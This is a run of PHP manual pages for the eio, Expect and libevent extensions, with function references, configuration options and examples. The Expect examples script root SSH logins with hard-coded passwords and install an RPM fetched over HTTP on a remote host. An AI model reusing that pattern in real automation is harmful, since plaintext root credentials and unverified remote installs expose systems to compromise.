There are no user contributed notes for this page.
eio_statvfs
eio_sync_file_range
Eio Functions


Sync a file segment with disk

eio_symlink
eio_sync
Eio Functions
PHP Manual

eio_sync_file_range

(PECL eio >= 0.0.1dev)

eio_sync_file_range — Sync a file segment with disk

Description

resource eio_sync_file_range ( int $fd , int $offset , int $nbytes , int $flags [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_sync_file_range() permits fine control when synchronizing the open file referred to by the file descriptor fd with disk.

Parameters

fd

File descriptor

offset

The starting byte of the file range to be synchronized

nbytes

Specifies the length of the range to be synchronized, in bytes. If nbytes is zero, then all bytes from offset through to the end of file are synchronized.

flags

A bit-mask. Can include any of the following values: EIO_SYNC_FILE_RANGE_WAIT_BEFORE, EIO_SYNC_FILE_RANGE_WRITE, EIO_SYNC_FILE_RANGE_WAIT_AFTER. These flags have the same meaning as their SYNC_FILE_RANGE_* counterparts(see SYNC_FILE_RANGE(2) man page).

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_sync_file_range() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
eio_symlink
eio_sync
Eio Functions


Commit buffer cache to disk

eio_sync_file_range
eio_syncfs
Eio Functions
PHP Manual

eio_sync

(PECL eio >= 0.0.1dev)

eio_sync — Commit buffer cache to disk

Description

resource eio_sync ([ int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

Parameters

This function has no parameters.

Return Values

eio_sync() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
eio_sync_file_range
eio_syncfs
Eio Functions


Calls Linux' syncfs syscall, if available

eio_sync
eio_truncate
Eio Functions
PHP Manual

eio_syncfs

(PECL eio >= 0.0.1dev)

eio_syncfs — Calls Linux' syncfs syscall, if available

Description

resource eio_syncfs ( int $fd [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

Parameters

fd

File descriptor

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_syncfs() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
eio_sync
eio_truncate
Eio Functions


Truncate a file

eio_syncfs
eio_unlink
Eio Functions
PHP Manual

eio_truncate

(PECL eio >= 0.0.1dev)

eio_truncate — Truncate a file

Description

resource eio_truncate ( string $path [, int $offset = 0 [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]]] )

eio_truncate() causes the regular file named by path to be truncated to a size of precisely length bytes

Parameters

path

File path

offset

Offset from beginning of the file.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_busy() returns request resource on success or FALSE on error.

See Also

  • eio_ftruncate

User Contributed Notes

There are no user contributed notes for this page.
eio_syncfs
eio_unlink
Eio Functions


Delete a name and possibly the file it refers to

eio_truncate
eio_utime
Eio Functions
PHP Manual

eio_unlink

(PECL eio >= 0.0.1dev)

eio_unlink — Delete a name and possibly the file it refers to

Description

resource eio_unlink ( string $path [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_unlink() deletes a name from the file system.

Parameters

path

Path to file

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_unlink() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
eio_truncate
eio_utime
Eio Functions


Change file last access and modification times.

eio_unlink
eio_write
Eio Functions
PHP Manual

eio_utime

(PECL eio >= 0.0.1dev)

eio_utime — Change file last access and modification times.

Description

resource eio_utime ( string $path , float $atime , float $mtime [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

Parameters

path

Path to the file.

atime

Access time

mtime

Modification time

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_utime() returns request resource on success or FALSE on error.

See Also

  • eio_futime

User Contributed Notes

There are no user contributed notes for this page.
eio_unlink
eio_write
Eio Functions


Write to file

eio_utime
Expect
Eio Functions
PHP Manual

eio_write

(PECL eio >= 0.0.1dev)

eio_write — Write to file

Description

resource eio_write ( int $fd , string &$str [, int $length = 0 [, int $offset = 0 [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]]]] )

eio_write() writes up to length bytes from str at offset offset from the beginning of the file.

Parameters

fd

The file descriptor, e.g. returned by eio_open()

str

Source string

length

Maximum number of bytes to write.

offset

Offset from the beginning of file.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_write() returns request resource on success or FALSE on error.

See Also

  • eio_open

User Contributed Notes

There are no user contributed notes for this page.
eio_utime
Expect
Eio Functions


Expect

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Expect Usage Examples
  • Expect Functions
    • expect_expectl — Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen
    • expect_popen — Execute command via Bourne shell, and open the PTY stream to the process

User Contributed Notes

There are no user contributed notes for this page.
eio_write
Introduction
Process Control Extensions


Introduction

This extension allows to interact with processes through PTY. You may consider using the expect:// wrapper with the filesystem functions which provide a simpler and more intuitive interface.

User Contributed Notes

There are no user contributed notes for this page.
Expect
Installing/Configuring
Expect


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Expect


Requirements

This module uses the functions of the » expect library. You need libexpect version >= 5.43.0.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/expect.

In PHP 4 this PECL extensions source can be found in the ext/ directory within the PHP source or at the PECL link above. In order to use these functions you must compile PHP with expect support by using the --with-expect[=DIR] configure option.

Windows users will enable php_expect.dll inside of php.ini in order to use these functions. In PHP 4 this DLL resides in the extensions/ directory within the PHP Windows binaries download. A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

In order to configure expect extension, there are configuration options in the configuration file php.ini.

Expect Configure Options
Name | Default | Changeable | Changelog
expect.timeout | "10" | PHP_INI_ALL |
expect.loguser | "1" | PHP_INI_ALL |
expect.logfile | "" | PHP_INI_ALL |
expect.match_max | "" | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

expect.timeout integer

The timeout period for waiting for the data, when using the expect_expectl() function.

A value of "-1" disables a timeout from occurring.

Note:

A value of "0" causes the expect_expectl() function to return immediately.

expect.loguser boolean

Whether expect should send any output from the spawned process to stdout. Since interactive programs typically echo their input, this usually suffices to show both sides of the conversation.

expect.logfile string

Name of the file, where the output from the spawned process will be written. If this file doesn't exist, it will be created.

Note:

If this configuration is not empty, the output is written regardless of the value of expect.loguser.

expect.match_max integer

Changes default size (2000 bytes) of the buffer used to match asterisks in patterns.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

expect_popen() returns an open PTY stream used by expect_expectl().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

EXP_GLOB (integer)
Indicates that the pattern is a glob-style string pattern.
EXP_EXACT (integer)
Indicates that the pattern is an exact string.
EXP_REGEXP (integer)
Indicates that the pattern is a regexp-style string pattern.
EXP_EOF (integer)
Value, returned by expect_expectl(), when EOF is reached.
EXP_TIMEOUT (integer)
Value, returned by expect_expectl() upon timeout of seconds, specified in value of expect.timeout
EXP_FULLBUFFER (integer)
Value, returned by expect_expectl() if no pattern have been matched.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Expect


Examples

Table of Contents

  • Expect Usage Examples

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Expect Usage Examples
Expect


Expect Usage Examples

Example #1 Expect Usage Example

This example connects to the remote host via SSH, and prints the remote uptime.

<?php
ini_set("expect.loguser", "Off");

$stream = fopen("expect://ssh root@remotehost uptime", "r");

$cases = array (
    array (0 => "password:", 1 => PASSWORD)
);

switch (expect_expectl ($stream, $cases)) {
    case PASSWORD:
        fwrite ($stream, "password\n");
        break;

    default:
        die ("Error was occurred while connecting to the remote host!\n");
}

while ($line = fgets($stream)) {
      print $line;
}
fclose ($stream);
?>

The following example connects to the remote host, determines whether installed OS is for 32 or 64 bit, then runs update for specific package.

Example #2 Another Expect Usage Example

<?php
ini_set("expect.timeout", -1);
ini_set("expect.loguser", "Off");

$stream = expect_popen("ssh root@remotehost");

while (true) {
    switch (expect_expectl ($stream, array (
            array ("password:", PASSWORD), // SSH is asking for password
            array ("yes/no)?", YESNO), // SSH is asking whether to store the host entry
            array ("~$ ", SHELL, EXP_EXACT), // We've got the shell!
    ))) {
        case PASSWORD:
            fwrite ($stream, "secret\n");
            break;

        case YESNO:
            fwrite ($stream, "yes\n");
            break;

        case SHELL:
            fwrite ($stream, "uname -a\n");
            while (true) {
                    switch (expect_expectl ($stream, array (
                            array ("~$ ", SHELL, EXP_EXACT), // We've got the shell!
                            array ("^Linux.*$", UNAME, EXP_REGEXP), // uname -a output
                    ), $match)) {
                        case UNAME:
                            $uname .= $match[0];
                            break;

                        case SHELL:
                            // Run update:
                            if (strstr ($uname, "x86_64")) {
                                    fwrite ($stream, "rpm -Uhv http://mirrorsite/somepath/some_64bit.rpm\n");
                            } else {
                                    fwrite ($stream, "rpm -Uhv http://mirrorsite/somepath/some_32bit.rpm\n");
                            }
                            fwrite ($stream, "exit\n");
                            break 2;

                        case EXP_TIMEOUT:
                        case EXP_EOF:
                            break 2;

                        default:
                            die ("Error has occurred!\n");
                    }
            }
            break 2;

        case EXP_TIMEOUT:
        case EXP_EOF:
            break 2;

        default:
            die ("Error has occurred!\n");
    }
}

fclose ($stream);
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
Expect Functions
Examples


Expect Functions

Table of Contents

  • expect_expectl — Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen
  • expect_popen — Execute command via Bourne shell, and open the PTY stream to the process

User Contributed Notes

There are no user contributed notes for this page.
Expect Usage Examples
expect_expectl
Expect


Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen

Expect Functions
expect_popen
Expect Functions
PHP Manual

expect_expectl

(PECL expect >= 0.1.0)

expect_expectl — Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen

Description

int expect_expectl ( resource $expect , array $cases [, array &$match ] )

Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen.

If match is provided, then it is filled with the result of search. The matched string can be found in match[0]. The match substrings (according to the parentheses) in the original pattern can be found in match[1], match[2], and so on, up to match[9] (the limitation of libexpect).

Parameters

expect

An Expect stream, previously opened with expect_popen().

cases

An array of expect cases. Each expect case is an indexed array, as described in the following table:

Expect Case Array
Index Key | Value Type | Description | Is Mandatory | Default Value
0 | string | pattern, that will be matched against the output from the stream | yes
1 | mixed | value, that will be returned by this function, if the pattern matches | yes
2 | integer | pattern type, one of: EXP_GLOB, EXP_EXACT or EXP_REGEXP | no | EXP_GLOB

Return Values

Returns value associated with the pattern that was matched.

On failure this function returns: EXP_EOF, EXP_TIMEOUT or EXP_FULLBUFFER

Changelog

Version | Description
0.2.1 | Prior to version 0.2.1, in match parameter a match string was returned, not an array of match substrings.

Examples

Example #1 expect_expectl() example

<?php
// Copies file from remote host:
ini_set("expect.timeout", 30);

$stream = fopen("expect://scp user@remotehost:/var/log/messages /home/user/messages.txt", "r");

$cases = array(
    // array(pattern, value to return if pattern matched)
    array("password:", "asked for password"),
    array("yes/no)?",  "asked for yes/no")
);

while (true) {
    switch (expect_expectl($stream, $cases)) {
        case "asked for password":
            fwrite($stream, "my password\n");
            break;
        case "asked for yes/no":
            fwrite($stream, "yes\n");
            break;
        case EXP_TIMEOUT:
        case EXP_EOF:
            break 2; // break both the switch statement and the while loop
        default:
            die "Error has occurred!";
    }
}

fclose($stream);
?>

See Also

  • expect_popen() - Execute command via Bourne shell, and open the PTY stream to the process

User Contributed Notes

There are no user contributed notes for this page.
Expect Functions
expect_popen
Expect Functions


Execute command via Bourne shell, and open the PTY stream to the process

expect_expectl
Libevent
Expect Functions
PHP Manual

expect_popen

(PECL expect >= 0.1.0)

expect_popen — Execute command via Bourne shell, and open the PTY stream to the process

Description

resource expect_popen ( string $command )

Execute command via Bourne shell, and open the PTY stream to the process.

Parameters

command

Command to execute.

Return Values

Returns an open PTY stream to the processes stdio, stdout, and stderr.

On failure this function returns FALSE.

Examples

Example #1 expect_popen() example

<?php
// Login to the PHP.net CVS repository:
$stream = expect_popen ("cvs -d :pserver:anonymous@cvs.php.net:/repository login");
sleep (3);
fwrite ($stream, "phpfi\n");
fclose ($stream);
?>

See Also

  • popen() - Opens process file pointer

User Contributed Notes

There are no user contributed notes for this page.
expect_expectl
Libevent
Expect Functions


Libevent

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Libevent Functions
    • event_add — Add an event to the set of monitored events
    • event_base_free — Destroy event base
    • event_base_loop — Handle events
    • event_base_loopbreak — Abort event loop
    • event_base_loopexit — Exit loop after a time
    • event_base_new — Create and initialize new event base
    • event_base_priority_init — Set the number of event priority levels
    • event_base_set — Associate event base with an event
    • event_buffer_base_set — Associate buffered event with an event base
    • event_buffer_disable — Disable a buffered event
    • event_buffer_enable — Enable a buffered event
    • event_buffer_fd_set — Change a buffered event file descriptor
    • event_buffer_free — Destroy buffered event
    • event_buffer_new — Create new buffered event
    • event_buffer_priority_set — Assign a priority to a buffered event
    • event_buffer_read — Read data from a buffered event
    • event_buffer_set_callback — Set or reset callbacks for a buffered event
    • event_buffer_timeout_set — Set read and write timeouts for a buffered event
    • event_buffer_watermark_set — Set the watermarks for read and write events
    • event_buffer_write — Write data to a buffered event
    • event_del — Remove an event from the set of monitored events
    • event_free — Free event resource
    • event_new — Create new event
    • event_set — Prepare an event

User Contributed Notes

aco dot best at gmail dot com 22-Feb-2011 01:57
There are undocumented functions:
event_timer_new() alias of event_new()
event_timer_set(event, callback, args)
event_timer_pending(event, timeout)
event_timer_add() alias of event_add()
event_timer_del() alias of event_del()

There are undocumented constants:
EVBUFFER_READ (1)
EVBUFFER_WRITE (2)
EVBUFFER_EOF (16)
EVBUFFER_ERROR (32)
EVBUFFER_TIMEOUT (64)
These flags - second argument in buffer's error-callback
expect_popen
Introduction
Process Control Extensions


Introduction

Libevent is a library that provides a mechanism to execute a callback function when a specific event occurs on a file descriptor or after a timeout has been reached.

More information about Libevent can be found at » http://www.monkey.org/~provos/libevent/.

User Contributed Notes

There are no user contributed notes for this page.
Libevent
Installing/Configuring
Libevent


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Libevent


Requirements

This extension requires » libevent library. Minimal required version is 1.4.0.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/libevent.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

There are several resource types used in the extension. These resources are event, event base and buffered event.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

EV_TIMEOUT (integer)
EV_READ (integer)
EV_WRITE (integer)
EV_SIGNAL (integer)
EV_PERSIST (integer)
EVLOOP_NONBLOCK (integer)
EVLOOP_ONCE (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Libevent


Examples

Example #1 polling STDIN using basic API

<?php

function print_line($fd, $events, $arg)
{
    static $max_requests = 0;

    $max_requests++;

    if ($max_requests == 10) {
        // exit loop after 10 writes
        event_base_loopexit($arg[1]);
    }

    // print the line
    echo  fgets($fd);
}

// create base and event
$base = event_base_new();
$event = event_new();

$fd = STDIN;

// set event flags
event_set($event, $fd, EV_READ | EV_PERSIST, "print_line", array($event, $base));
// set event base
event_base_set($event, $base);

// enable event
event_add($event);
// start event loop
event_base_loop($base);

?>

Example #2 polling STDIN using buffered event API

<?php

function print_line($buf, $arg)
{
    static $max_requests;

    $max_requests++;

    if ($max_requests == 10) {
        event_base_loopexit($arg);
    }

    // print the line
    echo event_buffer_read($buf, 4096);
}

function error_func($buf, $what, $arg)
{
    // handle errors
}

$base = event_base_new();
$eb = event_buffer_new(STDIN, "print_line", NULL, "error_func", $base);

event_buffer_base_set($eb, $base);
event_buffer_enable($eb, EV_READ);

event_base_loop($base);

?>

User Contributed Notes

Alexis 29-Jul-2010 05:23
Server example:
<?php
$socket = stream_socket_server ('tcp://0.0.0.0:2000', $errno, $errstr);
stream_set_blocking($socket, 0);
$base = event_base_new();
$event = event_new();
event_set($event, $socket, EV_READ | EV_PERSIST, 'ev_accept', $base);
event_base_set($event, $base);
event_add($event);
event_base_loop($base);

$GLOBALS['connections'] = array();
$GLOBALS['buffers'] = array();

function ev_accept($socket, $flag, $base) {
    static $id = 0;

    $connection = stream_socket_accept($socket);
    stream_set_blocking($connection, 0);

    $id += 1;

    $buffer = event_buffer_new($connection, 'ev_read', NULL, 'ev_error', $id);
    event_buffer_base_set($buffer, $base);
    event_buffer_timeout_set($buffer, 30, 30);
    event_buffer_watermark_set($buffer, EV_READ, 0, 0xffffff);
    event_buffer_priority_set($buffer, 10);
    event_buffer_enable($buffer, EV_READ | EV_PERSIST);

    // we need to save both buffer and connection outside
    $GLOBALS['connections'][$id] = $connection;
    $GLOBALS['buffers'][$id] = $buffer;
}

function ev_error($buffer, $error, $id) {
    event_buffer_disable($GLOBALS['buffers'][$id], EV_READ | EV_WRITE);
    event_buffer_free($GLOBALS['buffers'][$id]);
    fclose($GLOBALS['connections'][$id]);
    unset($GLOBALS['buffers'][$id], $GLOBALS['connections'][$id]);
}

function ev_read($buffer, $id) {
    while ($read = event_buffer_read($buffer, 256)) {
        var_dump($read);
    }
}
?>
Predefined Constants
Libevent Functions
Libevent


Libevent Functions

Table of Contents

  • event_add — Add an event to the set of monitored events
  • event_base_free — Destroy event base
  • event_base_loop — Handle events
  • event_base_loopbreak — Abort event loop
  • event_base_loopexit — Exit loop after a time
  • event_base_new — Create and initialize new event base
  • event_base_priority_init — Set the number of event priority levels
  • event_base_set — Associate event base with an event
  • event_buffer_base_set — Associate buffered event with an event base
  • event_buffer_disable — Disable a buffered event
  • event_buffer_enable — Enable a buffered event
  • event_buffer_fd_set — Change a buffered event file descriptor
  • event_buffer_free — Destroy buffered event
  • event_buffer_new — Create new buffered event
  • event_buffer_priority_set — Assign a priority to a buffered event
  • event_buffer_read — Read data from a buffered event
  • event_buffer_set_callback — Set or reset callbacks for a buffered event
  • event_buffer_timeout_set — Set read and write timeouts for a buffered event
  • event_buffer_watermark_set — Set the watermarks for read and write events
  • event_buffer_write — Write data to a buffered event
  • event_del — Remove an event from the set of monitored events
  • event_free — Free event resource
  • event_new — Create new event
  • event_set — Prepare an event

User Contributed Notes

There are no user contributed notes for this page.
Examples
event_add
Libevent


Add an event to the set of monitored events

Libevent Functions
event_base_free
Libevent Functions
PHP Manual

event_add

(PECL libevent >= 0.0.1)

event_add — Add an event to the set of monitored events

Description

bool event_add ( resource $event [, int $timeout = -1 ] )

event_add() schedules the execution of the event when the event specified in event_set() occurs or in at least the time specified by the timeout argument. If timeout was not specified, not timeout is set. The event must be already initalized by event_set() and event_base_set() functions. If the event already has a timeout set, it is replaced by the new one.

Parameters

event

Valid event resource.

timeout

Optional timeout (in microseconds).

Return Values

event_add() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
Libevent Functions
event_base_free
Libevent Functions


Destroy event base

event_add
event_base_loop
Libevent Functions
PHP Manual

event_base_free

(PECL libevent >= 0.0.1)

event_base_free — Destroy event base

Description

void event_base_free ( resource $event_base )

Destroys the specified event_base and frees all the resources associated. Note that it's not possible to destroy an event base with events attached to it.

Parameters

event_base

Valid event base resource.

User Contributed Notes

There are no user contributed notes for this page.
event_add
event_base_loop
Libevent Functions


Handle events

event_base_free
event_base_loopbreak
Libevent Functions
PHP Manual

event_base_loop

(PECL libevent >= 0.0.1)

event_base_loop — Handle events

Description

int event_base_loop ( resource $event_base [, int $flags = 0 ] )

Starts event loop for the specified event base.

Parameters

event_base

Valid event base resource.

flags

Optional parameter, which can take any combination of EVLOOP_ONCE and EVLOOP_NONBLOCK.

Return Values

event_base_loop() returns 0 on success, -1 on error and 1 if no events were registered.

User Contributed Notes

There are no user contributed notes for this page.
event_base_free
event_base_loopbreak
Libevent Functions


Abort event loop

event_base_loop
event_base_loopexit
Libevent Functions
PHP Manual

event_base_loopbreak

(PECL libevent >= 0.0.1)

event_base_loopbreak — Abort event loop

Description

bool event_base_loopbreak ( resource $event_base )

Abort the active event loop immediately. The behaviour is similar to break statement.

Parameters

event_base

Valid event base resource.

Return Values

event_base_loopbreak() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
event_base_loop
event_base_loopexit
Libevent Functions


Exit loop after a time

event_base_loopbreak
event_base_new
Libevent Functions
PHP Manual

event_base_loopexit

(PECL libevent >= 0.0.1)

event_base_loopexit — Exit loop after a time

Description

bool event_base_loopexit ( resource $event_base [, int $timeout = -1 ] )

The next event loop iteration after the given timer expires will complete normally, then exit without blocking for events again.

Parameters

event_base

Valid event base resource.

timeout

Optional timeout parameter (in microseconds).

Return Values

event_base_loopexit() returns TRUE on success or FALSE on error.

User Contributed Notes

jille at hexon dot cx 04-May-2011 07:47
The timeout (if >= 0) is in microseconds.
event_base_loopbreak
event_base_new
Libevent Functions


Create and initialize new event base

event_base_loopexit
event_base_priority_init
Libevent Functions
PHP Manual

event_base_new

(PECL libevent >= 0.0.1)

event_base_new — Create and initialize new event base

Description

resource event_base_new ( void )

Returns new event base, which can be used later in event_base_set(), event_base_loop() and other functions.

Parameters

This function has no parameters.

Return Values

event_base_new() returns valid event base resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
event_base_loopexit
event_base_priority_init
Libevent Functions


Set the number of event priority levels

event_base_new
event_base_set
Libevent Functions
PHP Manual

event_base_priority_init

(PECL libevent >= 0.0.2)

event_base_priority_init — Set the number of event priority levels

Description

bool event_base_priority_init ( resource $event_base , int $npriorities )

Sets the number of different event priority levels.

By default all events are scheduled with the same priority (npriorities/2). Using event_base_priority_init() you can change the number of event priority levels and then set a desired priority for each event.

Parameters

event_base

Valid event base resource.

npriorities

The number of event priority levels.

Return Values

event_base_priority_init() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
event_base_new
event_base_set
Libevent Functions


Associate event base with an event

event_base_priority_init
event_buffer_base_set
Libevent Functions
PHP Manual

event_base_set

(PECL libevent >= 0.0.1)

event_base_set — Associate event base with an event

Description

bool event_base_set ( resource $event , resource $event_base )

Associates the event_base with the event.

Parameters

event

Valid event resource.

event_base

Valid event base resource.

Return Values

event_base_set() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
event_base_priority_init
event_buffer_base_set
Libevent Functions


Associate buffered event with an event base

event_base_set
event_buffer_disable
Libevent Functions
PHP Manual

event_buffer_base_set

(PECL libevent >= 0.0.1)

event_buffer_base_set — Associate buffered event with an event base

Description

bool event_buffer_base_set ( resource $bevent , resource $event_base )

Assign the specified bevent to the event_base.

Parameters

bevent

Valid buffered event resource.

event_base

Valid event base resource.

Return Values

event_buffer_base_set() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
event_base_set
event_buffer_disable
Libevent Functions


Disable a buffered event

event_buffer_base_set
event_buffer_enable
Libevent Functions
PHP Manual

event_buffer_disable

(PECL libevent >= 0.0.1)

event_buffer_disable — Disable a buffered event

Description

bool event_buffer_disable ( resource $bevent , int $events )

Disables the specified buffered event.

Parameters

bevent

Valid buffered event resource.

events

Any combination of EV_READ and EV_WRITE.

Return Values

event_buffer_disable() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
event_buffer_base_set
event_buffer_enable
Libevent Functions


Enable a buffered event

event_buffer_disable
event_buffer_fd_set
Libevent Functions
PHP Manual

event_buffer_enable

(PECL libevent >= 0.0.1)

event_buffer_enable — Enable a buffered event

Description

bool event_buffer_enable ( resource $bevent , int $events )

Enables the specified buffered event.

Parameters

bevent

Valid buffered event resource.

events

Any combination of EV_READ and EV_WRITE.

Return Values

event_buffer_enable() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
event_buffer_disable
event_buffer_fd_set
Libevent Functions


Change a buffered event file descriptor

event_buffer_enable
event_buffer_free
Libevent Functions
PHP Manual

event_buffer_fd_set

(PECL libevent >= 0.0.1)

event_buffer_fd_set — Change a buffered event file descriptor

Description

void event_buffer_fd_set ( resource $bevent , resource $fd )

Changes the file descriptor on which the buffered event operates.

Parameters

bevent

Valid buffered event resource.

fd

Valid PHP stream, must be castable to file descriptor.

User Contributed Notes

There are no user contributed notes for this page.
event_buffer_enable
event_buffer_free
Libevent Functions


Destroy buffered event

event_buffer_fd_set
event_buffer_new
Libevent Functions
PHP Manual

event_buffer_free

(PECL libevent >= 0.0.1)

event_buffer_free — Destroy buffered event

Description

void event_buffer_free ( resource $bevent )

Destroys the specified buffered event and frees all the resources associated.

Parameters

bevent

Valid buffered event resource.

User Contributed Notes

There are no user contributed notes for this page.
event_buffer_fd_set
event_buffer_new
Libevent Functions


Create new buffered event

event_buffer_free
event_buffer_priority_set
Libevent Functions
PHP Manual

event_buffer_new

(PECL libevent >= 0.0.1)

event_buffer_new — Create new buffered event

Description

resource event_buffer_new ( resource $stream , mixed $readcb , mixed $writecb , mixed $errorcb [, mixed $arg ] )

Libevent provides an abstraction layer on top of the regular event API. Using buffered event you don't need to deal with the I/O manually, instead it provides input and output buffers that get filled and drained automatically.

Parameters

stream

Valid PHP stream resource. Must be castable to file descriptor.

readcb

Callback to invoke where there is data to read, or NULL if no callback is desired.

writecb

Callback to invoke where the descriptor is ready for writing, or NULL if no callback is desired.

errorcb

Callback to invoke where there is an error on the descriptor, cannot be NULL.

arg

An argument that will be passed to each of the callbacks (optional).

Return Values

event_buffer_new() returns new buffered event resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
event_buffer_free
event_buffer_priority_set
Libevent Functions


Assign a priority to a buffered event

event_buffer_new
event_buffer_read
Libevent Functions
PHP Manual

event_buffer_priority_set

(PECL libevent >= 0.0.1)

event_buffer_priority_set — Assign a priority to a buffered event

Description

bool event_buffer_priority_set ( resource $bevent , int $priority )

Assign a priority to the bevent.

Parameters

bevent

Valid buffered event resource.

priority

Priority level. Cannot be less than zero and cannot exceed maximum priority level of the event base (see event_base_priority_init()).

Return Values

event_buffer_priority_set() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
event_buffer_new
event_buffer_read
Libevent Functions


Read data from a buffered event

event_buffer_priority_set
event_buffer_set_callback
Libevent Functions
PHP Manual

event_buffer_read

(PECL libevent >= 0.0.1)

event_buffer_read — Read data from a buffered event

Description

string event_buffer_read ( resource $bevent , int $data_size )

Reads data from the input buffer of the buffered event.

Parameters

bevent

Valid buffered event resource.

data_size

Data size in bytes.

User Contributed Notes

There are no user contributed notes for this page.
event_buffer_priority_set
event_buffer_set_callback
Libevent Functions


